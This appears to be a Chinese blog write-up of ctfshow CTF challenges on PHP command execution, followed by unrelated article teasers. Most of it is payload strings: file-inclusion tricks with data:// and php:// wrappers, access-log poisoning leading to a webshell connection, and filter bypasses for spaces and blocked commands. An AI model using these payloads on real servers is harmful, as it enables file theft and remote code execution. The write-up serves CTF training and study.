php命令执行的一些执行函数----以ctfshow靶场为解题思路

server/2024/10/25 11:49:34/

1715783522690-76e743c2-b03f-418e-b441-488d4089c009.png?x-oss-process=image%2Fformat%2Cwebp%2Fresize%2Cw_1968%2Climit_0


解法10、利用文件包含
①?c=include$_GET[1]?>&1=data://text/plain,<?php system('tac flag.php');?>
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
②?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
③首先我们可以用BP进行抓包,把?file=php://input输入到链接后刷新抓包,然后再BP中修改发包方式为POST,然后在下面输入<?php system('tac flag.php');?>,就可以获取到flag了
?c=include$_GET[1]?>&1=php://input
④?c=include$_GET[1]?>&1=/var/log/nginx/access.log,进入日志文件,添加UA头,然后用蚁剑连接
二、过滤字符
空格可以利用%20,%09,
“;”可以利用?>来代替

1715863428297-c86c098f-b409-40cf-8f91-875321b6c703.png?x-oss-process=image%2Fformat%2Cwebp%2Fresize%2Cw_1959%2Climit_0



使用" || " " & " " && " 分隔 /dev/null 2>&1 意思是将标准输出和标准错误都重定向到 /dev/null 即不回显 ; //分号 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令都会执行 && //两条命令都会执行
过滤了分号和cat,可以用||和&来代替分号,tac代替cat
可构造playload: url/?c=tac flag.php|| url/?c=tac flag.php%26 注意,这里的&需要url编码
还有一种方法是nl flag.php+%26或%0a也就是换行符
空格可以用<、<>、%20(space)、%09(tab)、$IFS$9、${IFS}、$IFS、{cat,/etc/passwd}、%0a(回车)代替,然后可以使用“\”这个符号来分隔字母类的

1

2

c''at${IFS}fla''g.p''hp

?c=ca\t${IFS}fla\g.ph\p

1716820239695-93d3c162-524d-4160-976f-229bff514c86.png?x-oss-process=image%2Fformat%2Cwebp


这种题目可以先扫目录,然后再寻找文件,然后把文件带出来

1

1

2

3

4

5

6

7

8

scandir查看目录 ->用前几题的方法获取flag

 

查看根目录内容

c=print_r(scandir("/"));

查看文件内容

POST传参:c=highlight_file("/flag.txt");

POST传参:c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=/flag.txt

 

2

1

c=show_source('flag.php');


http://www.ppmy.cn/server/134707.html

相关文章

【C++刷题】力扣-#448-找到所有数组中消失的数字

题目描述 给你一个含 n 个整数的数组 nums &#xff0c;其中 nums[i] 在区间 [1, n] 内。请你找出所有在 [1, n] 范围内但没有出现在 nums 中的数字&#xff0c;并以数组的形式返回结果。 示例 示例1: 输入&#xff1a;nums [4,3,2,7,8,2,3,1] 输出&#xff1a;[5,6]示例2: …

2024 10.25 判断一个矩阵是否对称

主对角线对称 思路&#xff1a;a[i][j]!a[j][i] 第一行和第一列顺序比较&#xff0c;后面依次类推 #include <stdio.h>int main(){int n,m;scanf("%d",&n);int a[n][n];for(int i0;i<n;i){for(int j0;j<n;j)scanf("%d",&a[i][j]);}i…

Fragments by E2B:AI生成应用模板,让应用开发更智能

在人工智能技术飞速发展的今天&#xff0c;我们见证了许多创新工具的诞生&#xff0c;它们正在改变传统的软件开发方式。今天&#xff0c;我要向大家介绍一个名为Fragments by E2B的开源项目&#xff0c;这是一个基于Next.js 14、shadcn/ui、TailwindCSS和Vercel AI SDK构建的A…

什么是RPC

什么是RPC RPC的全称是Remote Procedure Call&#xff0c;即远程过程调用&#xff0c;是一种计算机通信协议。它允许程序在不同计算机之间进行通信和交互&#xff0c;就像本地调用一样。简单解读字面上的意思&#xff0c;远程是指要跨机器而非本机&#xff0c;所以需要用到网络…

在 typescript 中,如何封装一个 class 类来接收接口的响应数据

在 TypeScript 中&#xff0c;封装一个类来接收接口的响应数据是一个常见的需求&#xff0c;特别是在处理后端 API 响应时。这通常涉及到定义与后端 API 响应结构相匹配的接口&#xff08;或类型&#xff09;&#xff0c;并在类中创建方法来处理这些数据。以下是一个简单的示例…

理解dbt artifacts及其实际应用

dbt是数据分析领域的一种变革性工具&#xff0c;它使数据专业人员能够对仓库中的数据进行转换和建模。它的强大功能之一是生成dbt artifacts&#xff1a;dbt运行的结构化输出&#xff0c;提供对dbt项目及其操作的深入了解。 dbt 构件介绍 dbt构件是每次dbt运行时生成的JSON文…

Excel功能区变灰是什么原因造成?怎么解决?

Microsoft Excel是广泛使用的电子表格软件&#xff0c;但有时用户可能会遇到功能区变灰的问题&#xff0c;这可能导致功能无法使用&#xff0c;影响工作效率和用户体验。本文将深入探讨Excel功能区灰色的原因及解决方案&#xff0c;帮助读者快速解决这一问题。 一、Excel功能区…

计算机毕业设计 基于Python的校园个人闲置物品换购平台的设计与实现 Python毕业设计 Python毕业设计选题【附源码+安装调试】

博主介绍&#xff1a;✌从事软件开发10年之余&#xff0c;专注于Java技术领域、Python人工智能及数据挖掘、小程序项目开发和Android项目开发等。CSDN、掘金、华为云、InfoQ、阿里云等平台优质作者✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精…